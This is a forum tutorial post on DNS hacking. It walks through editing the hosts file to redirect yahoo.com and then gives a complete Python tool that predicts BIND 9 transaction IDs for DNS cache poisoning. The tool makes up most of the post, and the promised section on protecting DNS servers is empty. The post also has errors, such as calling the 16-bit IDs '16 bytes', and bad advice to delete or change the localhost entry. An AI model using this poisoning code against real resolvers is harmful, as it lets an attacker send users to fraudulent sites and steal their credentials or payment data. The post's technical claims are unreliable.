|
||||||
| Tutorials Programming Tutorials - Post your tutorials here! |
![]() |
|
|
LinkBack | Thread Tools | Search this Thread | Display Modes |
|
|||||
|
1. What is a DNS?
A DNS is a server that translates domain names into IP addresses. Every website has its IP or set of IP address-numbers. The world wide web and the computers at all work more easily with numbers, on the other hand we as humans find it hard to remember any web address as a group of numbers. For example the website Google.com has its own address in numbers(IP address): http://64.233.167.104/ So if you type the address above, your browser won't connect to any DNS server just because the mentioned web address is in fact a set of numbers and the computers don't need "translation". That was de facto the case in the early days of the world wide web and Internet and Fidonet(already forgotten competitor of Internet in its early days(the internet), Fidonet actually used only numbers to refer to addresses, it used already the term "zone", which is essential to the DNS server operation, but we will discuss that later). The first DNS appeared 1993, but years prior to the 90's, a group of Berkeley students invent BIND(Berkeley Internet Name Domain), which is at present the most popular DNS server. On the other hand the DNS history isn't that "bright" and "clear" as it seems. Since the very early years BIND and DNS in general...were always target of hacking attacks, such as "pharming", "spoofing", "phishing", "hijacking", "birthday paradox". We will state these techniques in detail below. However, lets examine the DNS structure in better detail. In order to understand and prevent the hacking attacks we need an excellent understanding of the Internet structure at all. Many people are unaware of in what order the DNS queries take place. Some people might find it surprisingly that the DNS queries in fact occur starting from the top to the bottom -> eg. the root server -> the ISP server -> the local server -> the cache resolver. As we however already explained in the early days of the Internet, DNS wasn't necessary. Every computer back then have had its own "host" file, surprisingly the infamous host file yet exists on Linux and Windows systems. Its role is to handle some pretty often used websites. You can modify your host file. On windows machines the host file is located: c:\windows\system32\drivers\etc\ That is the case in Windows XP. On Linux you might try to find it in /etc You can open the host file with notepad and modify it so that any webpage could later redirect to an IP address of your choice. If you are "suspicious" enough you probably already realize the enormous bad "hacking" potential behind the DNS. In practice, assuming that you have opened your host file. Add this line on the top of your file. Please, remember to make a copy of the host file, just in case. Now open your host file with notepad, select the code inside. Delete the code originally in the host file and on the place of the old code paste this: Code:
# Copyright (c) 1993-1999 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space. # # Additionally, comments (such as these) may be inserted on individual # lines or following the machine name denoted by a '#' symbol. # # For example: # # 102.54.94.97 rhino.acme.com # source server # 38.25.63.10 x.acme.com # x client host 127.0.0.1 localhost 64.233.167.104 yahoo.com Now you don't see Yahoo, right??? You might be willing to reach Yahoo but instead you see...Google? Quite confusing, but what you just did was to assigning the IP address of Google to domain yahoo.com. Needless to say, this change works only on your computer...it doesn't reach Yahoo or Google directly, but for the novice hacker this technique is nothing but an example of the extreme power hidden in the malicious DNS exploits. Of course in order to reverse this annoying hack just open the host file again and...better delete everything inside. You perhaps don't need the localhost value assigned to 127.0.0.1, even better change your localhost to some better numeric address :) like 1.1.1.1. Here is a simple diagram that shows you though the way of your DNS queries on the internet. What exactly happens in the background when you type a webaddress in your browser. The operation occurs in a second, in fact fractions of the seconds and obviously this doesn't bother you, since you reach your favorite Google.com or Yahoo.com as soon as you blink: ![]() 2. DNS hacking techniques: 2.1. The modern approach: A recent exploit in BIND 9: Many DNS attacks attempt to use the "man in the middle" way. In other words, when the real DNS server expects an answer from the client, a malicious 3rd party software intentionally "represents" itself as the real client and hence the DNS server believes this is the real client and communicates to the malicious software, while the bad software poisons the DNS server cache...poisoning the server cache with fake results like assigning a fake IP addresses to sites like ebay.com. So the next time when a user reaches the DNS server and open ebay.com thanks to the DNS server, it actually opens a poisoned website with fake hacked IP assigned to the server which actually belongs to the hacker in order to get personal information such as credit card numbers, bank accounts... On the other hand the good news is that such attacks have been extremely unsuccessful in the last few years thanks to many patches released by BIND and other DNS servers. The DNS attacks became a hacking fashion back in the 90's even perhaps more popular than the trojans at some point. But...yet the bad security holes aren't over...A recent and a very interesting exploit in the latest versions of BIND shows that the BIND "random" numbers are actually predictable. These "random numbers" are actually the unique IDs that a BIND server must assign on a current session when it communicates with a client. Just to be sure that it really communicates with the client and not some hacking software. Another disadvantage comes from the fact that the BIND sessions are just 16 bytes coded. For people who understand of cryptography it's clear that such codes could be not only broken by brute force but even guessed with simple logic. A such interesting approach is described in great detail in the paper below: http://www.securiteam.com/securitynews/5VP0L0UM0A.html Later, it has been written a prototype in Python to test this manual. Here is the source code: Code:
#!/usr/bin/env python
"""
DNS Cache Poison v0.3beta by posedge
based on the Amit Klein paper: http://www.trusteer.com/docs/bind9dns.html
output: <time>:<ip>:<port>: id: <id> q: <query> g: <good> e: <error>
id: ID to predict
q: number of queries from the DNS server (only queries with LSB at 0 in ID)
g: number of good predicted IDs
e: number of errors while trying to predict a *supposed to be* predicted ID
"""
import socket, select, sys, time
from struct import unpack, pack
from socket import htons
_ANSWER_TIME_LIMIT = 1.0 # 1sec
_NAMED_CONF = [[<your_dns1_hostname>, <your_dns1_ip>], \
[<your_dns2_hostname>, <your_dns2_ip>], \
[<etc>, <etc>]]
class BINDSimplePredict:
def __init__(self, txid, bind_9_2_3___9_4_1=True):
self.txid = txid
self.cand = []
if bind_9_2_3___9_4_1 == True:
# For BIND9 v9.2.3-9.4.1:
self.tap1=0x80000057
self.tap2=0x80000062
else:
# For BIND9 v9.0.0-9.2.2:
self.tap1=0xc000002b # (0x80000057>>1)|(1<<31)
self.tap2=0xc0000061 # (0x800000c2>>1)|(1<<31)
self.next = self.run()
return
def run(self):
if (self.txid & 1) != 0:
#print "info: LSB is not 0. Can't predict the next transaction ID."
return False
#print "info: LSB is 0, predicting..."
# One bit shift (assuming the two lsb's are 0 and 0)
for msb in xrange(0, 2):
self.cand.append(((msb<<15)|(self.txid>>1)) & 0xFFFF)
# Two bit shift (assuming the two lsb's are 1 and 1)
# First shift (we know the lsb is 1 in both LFSRs):
v=self.txid
v=(v>>1)^self.tap1^self.tap2
if (v & 1) == 0:
# After the first shift, the lsb becomes 0, so the two LFSRs now have
# identical lsb's: 0 and 0 or 1 and 1
# Second shift:
v1=(v>>1) # 0 and 0
v2=(v>>1)^self.tap1^self.tap2 # 1 and 1
else:
# After the first shift, the lsb becomes 1, so the two LFSRs now have
# different lsb's: 1 and 0 or 0 and 1
# Second shift:
v1=(v>>1)^self.tap1 # 1 and 0
v2=(v>>1)^self.tap2 # 0 and 1
# Also need to enumerate over the 2 msb's we are clueless about
for msbits in xrange(0, 4):
self.cand.append(((msbits<<14)|v1) & 0xFFFF)
self.cand.append(((msbits<<14)|v2) & 0xFFFF)
return True;
class DNSData:
def __init__(self, data):
self.data=data
self.name=''
for i in xrange(12, len(data)):
self.name+=data[i]
if data[i] == '\x00':
break
q_type = unpack(">H", data[i+1:i+3])[0]
if q_type != 1: # only type: A (host address) allowed.
self.name = None
return
def response(self, ip=None):
packet=''
packet+=self.data[0:2] # id
packet+="\x84\x10" # flags
packet+="\x00\x01" # questions
packet+="\x00\x01" # answer RRS
packet+="\x00\x00" # authority RRS
packet+="\x00\x00" # additional RRS
packet+=self.name # queries: name
packet+="\x00\x01" # queries: type (A)
packet+="\x00\x01" # queries: class (IN)
packet+="\xc0\x0c" # answers: name
if ip == None:
packet+="\x00\x05" # answers: type (CNAME)
packet+="\x00\x01" # answers: class (IN)
packet+="\x00\x00\x00\x01" # answers: time to live (1sec)
packet+=pack(">H", len(self.name)+2) # answers: data length
packet+="\x01" + "x" + self.name # answers: primary name
else:
packet+="\x00\x01" # answers: type (A)
packet+="\x00\x01" # answers: class (IN)
packet+="\x00\x00\x00\x01" # answers: time to live (1sec)
packet+="\x00\x04" # answers: data length
packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # IP
#packet+="\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00\x00" # Additional
return packet
class DNSServer:
def __init__(self):
self.is_r = []
self.is_w = []
self.is_e = []
self.targets = []
self.named_conf = []
for i in xrange(len(_NAMED_CONF)):
start = 0
tmp = ''
for j in xrange(len(_NAMED_CONF[i][0])):
if _NAMED_CONF[i][0][j] == '.':
tmp += chr(j - start)
tmp += _NAMED_CONF[i][0][start:j]
start = j + 1
tmp += chr(j - start + 1)
tmp += _NAMED_CONF[i][0][start:] + "\x00"
self.named_conf.append([tmp, _NAMED_CONF[i][1]])
return
def run(self):
self.s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.s.bind(('',53))
self.is_r.append(self.s)
next = False
i = 0
while 1:
r, w, e = select.select(self.is_r, self.is_w, self.is_e, 1.0)
if r:
try:
data, addr = self.s.recvfrom(1024)
except socket.error:
continue
txid = unpack(">H", data[0:2])[0]
p=DNSData(data)
if p.name == None:
continue
found = False
for j in xrange(len(self.named_conf)):
if p.name == self.named_conf[j][0]:
found = True
break
if found == True:
self.s.sendto(p.response(self.named_conf[j][1]), addr)
continue
# FIXME: wrong code, 'i' is 0 at begin and when 1 item in list...
for i in xrange(len(self.targets)):
if self.targets[i][0] == addr[0]:
break
if i == len(self.targets):
self.targets.append([addr[0], False, time.time(), [None, None], \
None, 0, 0, 0])
if self.targets[i][1] == False:
bsp = BINDSimplePredict(txid)
self.targets[i][1] = bsp.next
self.targets[i][3][0] = bsp.cand
bsp = BINDSimplePredict(txid, False)
self.targets[i][3][1] = bsp.cand
else:
if p.name == self.targets[i][4]:
elapsed = time.time() - self.targets[i][2]
if elapsed > _ANSWER_TIME_LIMIT:
print 'info: slow answer, discarding (%.2f sec)' % elapsed
else:
self.targets[i][5] += 1
found_v1 = False
found_v2 = False
for j in xrange(10):
if self.targets[i][3][0][j] == txid:
found_v1 = True
break
if self.targets[i][3][1][j] == txid:
found_v2 = True
break
if found_v1 == True or found_v2 == True:
self.targets[i][6] += 1
else:
self.targets[i][7] += 1
# TODO: if found_v1 or found_v2 is True, then show bind version!
print "\n" + str(i) + ' target:', self.targets
print '%f:%s:%d: id: %04x q: %d g: %d e: %d' % (time.time(), \
addr[0], addr[1], txid, self.targets[i][5], \
self.targets[i][6], self.targets[i][7])
self.targets[i][1] = False
self.targets[i][2] = time.time()
self.targets[i][4] = "\x01" + "x" + p.name
self.s.sendto(p.response(), addr)
return
def close(self):
self.s.close()
return
if __name__ == '__main__':
dns_srv = DNSServer()
try:
dns_srv.run()
except KeyboardInterrupt:
print 'ctrl-c, leaving...'
dns_srv.close()
Now lets see what you can in order to protect your DNS server. 3. Protect your DNS server
__________________
CodeCall Blog | CodeCall Wiki | Shareware | Linux Forum | My Blog Chat with other CodeCall members on IRC; connect to irc.codecall.net and join #codecall |
| Sponsored Links |
|
|
![]() |
| Currently Active Users Viewing This Thread: 1 (0 members and 1 guests) | |
| Thread Tools | Search this Thread |
| Display Modes | |
|
|
Similar Threads
|
||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| Hacking Flash Games (PART 1) | TcM | Security Tutorials | 166 | Yesterday 04:14 AM |
| Hacking Flash Games (PART 2) | TcM | Security Tutorials | 69 | 11-23-2008 06:19 PM |
| Google Hacking | John | Tutorials | 6 | 07-22-2008 10:37 AM |
| WingedPanther | ........ | 2753.6 |
| Xav | ........ | 2704 |
| Brandon W | ........ | 1702.32 |
| John | ........ | 1207.73 |
| marwex89 | ........ | 1175.24 |
| morefood2001 | ........ | 966.05 |
| dcs | ........ | 655.75 |
| Steve.L | ........ | 475.59 |
| orjan | ........ | 418.58 |
| Aereshaa | ........ | 383.54 |